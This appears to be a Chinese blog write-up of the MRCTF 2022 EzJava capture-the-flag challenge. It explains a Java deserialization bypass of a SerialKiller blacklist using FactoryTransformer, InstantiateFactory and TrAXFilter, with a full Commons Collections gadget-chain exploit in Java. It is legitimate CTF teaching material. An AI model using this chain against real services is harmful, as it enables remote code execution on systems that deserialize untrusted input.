MRCTF 2022 EzJava

高人于斯發表於2024-07-03

MRCTF 2022 EzJava

題目分析

下載附件得到一個 jar 包和一個 waf 配置檔案。如果只是為了本地搭建環境,直接啟動 jar 包就行了,但是如果需要進行遠端除錯就需要進行一些配置(這個網上教程很多),這個除錯也要看具體需求,能直接打通的話就不需要除錯。

但是不管怎麼說,第一步肯定都是先解壓 jar 包好進行程式碼審計。

先看依賴:

依賴挺多,不過對於我這個 java 新手不認識幾個,但是發現了熟悉的 cc 鏈依賴。

然後找反序列化的入口 readObject 函式

這裡就是獲得 body 中的資料進行 base64 解碼然後進行反序列化,不過注意到還有個 serialkiller.xml 檔案,這是 SerialKiller 依賴的配置檔案,也就是剛剛附件中的另一個檔案,將其複製進專案的 resource 後進行分析

<?xml version="1.0" encoding="UTF-8"?>
<!-- serialkiller.conf -->
<config>
    <refresh>6000</refresh>
    <mode>
        <!-- set to 'false' for blocking mode -->
        <profiling>false</profiling>
    </mode>
    <logging>
        <enabled>false</enabled>
    </logging>
    <blacklist>
    <!-- ysoserial's CommonsCollections1,3,5,6 payload  -->
    <regexp>org\.apache\.commons\.collections\.Transformer$</regexp>
    <regexp>org\.apache\.commons\.collections\.functors\.InvokerTransformer$</regexp>
    <regexp>org\.apache\.commons\.collections\.functors\.ChainedTransformer$</regexp>
    <regexp>org\.apache\.commons\.collections\.functors\.ConstantTransformer$</regexp>
    <regexp>org\.apache\.commons\.collections\.functors\.InstantiateTransformer$</regexp>
    <!-- ysoserial's CommonsCollections2,4 payload  -->
    <regexp>org\.apache\.commons\.collections4\.functors\.InvokerTransformer$</regexp>
    <regexp>org\.apache\.commons\.collections4\.functors\.ChainedTransformer$</regexp>
    <regexp>org\.apache\.commons\.collections4\.functors\.ConstantTransformer$</regexp>
    <regexp>org\.apache\.commons\.collections4\.functors\.InstantiateTransformer$</regexp>
    <regexp>org\.apache\.commons\.collections4\.comparators\.TransformingComparator$</regexp>
    </blacklist>
    <whitelist>
        <regexp>.*</regexp>
    </whitelist>
</config>

過濾掉了之前學習 cc 鏈最後要用的所有 transform 方法的類。所以這道題題其實考察的就是最後執行命令部分。

現在需要找的就是有沒有其他類的 transform 方法可以利用,來到 transform 介面開始一個一個尋找:

最後找到了 FactoryTransformertransform 方法,後面類的 transform 我也只是粗略的看過,有可能也有利用的地方。

繼續看 create 方法,看看哪些可以構成危險。這個 create 方法其實有點太多了,參考文章,最後在 cc 依賴目錄下進行尋找就行了

這裡非常可疑,看到可以達到實列化的目的,和 cc3 最後十分相像,cc3 最後是呼叫的 TrAXFilter 的建構函式從而呼叫到 newTransformer() 進行位元組碼載入。所以這裡的可以利用這個 create 方法呼叫 TrAXFilter 的建構函式然後進行位元組碼載入。

exp 構造

先編寫出最後執行的 transform 方法

InstantiateFactory ins = new InstantiateFactory(TrAXFilter.class, new Class[]{Templates.class}, new Object[]{tem});  
FactoryTransformer fa = new FactoryTransformer(ins);

剩下的照搬 cc3 就行了

package org.example;  
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;  
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;  
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;  
import org.apache.commons.collections.Transformer;  
import org.apache.commons.collections.functors.*;  
import org.apache.commons.collections.keyvalue.TiedMapEntry;  
import org.apache.commons.collections.map.LazyMap;   
import javax.xml.transform.Templates;  
import java.io.*;  
import java.lang.annotation.Target;  
import java.lang.reflect.*;  
import java.nio.file.Files;  
import java.nio.file.Paths;  
import java.util.Base64;  
import java.util.HashMap;  
import java.util.Hashtable;  
import java.util.Map;  
import java.lang.reflect.Field;  
import java.lang.reflect.Modifier;  
  
public class Main {  
    public static void main(String[] args)throws Exception {  
  
        TemplatesImpl tem = new TemplatesImpl();  
        byte[] code = Files.readAllBytes(Paths.get("D:/gaoren.class"));  
        setValue(tem, "_bytecodes", new byte[][]{code});  
        setValue(tem, "_tfactory", new TransformerFactoryImpl());  
        setValue(tem, "_name", "gaoren");  
        setValue(tem, "_class", null);  
  
        InstantiateFactory ins = new InstantiateFactory(TrAXFilter.class, new Class[]{Templates.class}, new Object[]{tem});  
  
        FactoryTransformer fa = new FactoryTransformer(ins);  
  
        HashMap map2 = new HashMap();  
  
        Map<Object, Object> Lazy = LazyMap.decorate(map2, new ConstantTransformer(1));  
        Lazy.put("zZ", 1);  
  
        TiedMapEntry tie = new TiedMapEntry(Lazy, "aaa");  
        Hashtable hashtable = new Hashtable();  
        hashtable.put(tie, 1);  
  
        Lazy.remove("aaa");  
  
        Class<LazyMap> lazyMapClass = LazyMap.class;  
        Field factoryField = lazyMapClass.getDeclaredField("factory");  
        factoryField.setAccessible(true);  
        factoryField.set(Lazy, fa);  
        try {  
            ByteArrayOutputStream out = new ByteArrayOutputStream();  
            ObjectOutputStream objout = new ObjectOutputStream(out);  
            objout.writeObject(hashtable);  
            objout.close();  
            out.close();  
            byte[] ObjectBytes = out.toByteArray();  
            
            ByteArrayInputStream in=new ByteArrayInputStream(ObjectBytes);  
            ObjectInputStream objin=new ObjectInputStream(in);  
            objin.readObject();  
            objin.close();  
            in.close();  
        } catch (Exception e) {  
            e.printStackTrace();  
        }  
    }  
    public static void setValue(Object obj,String fieldName,Object value) throws Exception {  
        Field field = obj.getClass().getDeclaredField(fieldName);  
        field.setAccessible(true);  
        field.set(obj,value);  
    }  
}

執行測試

測試成功後將其序列化結果進行 base64 編碼,

String base64EncodedValue = Base64.getEncoder().encodeToString(ObjectBytes);
System.out.println(base64EncodedValue);

相關文章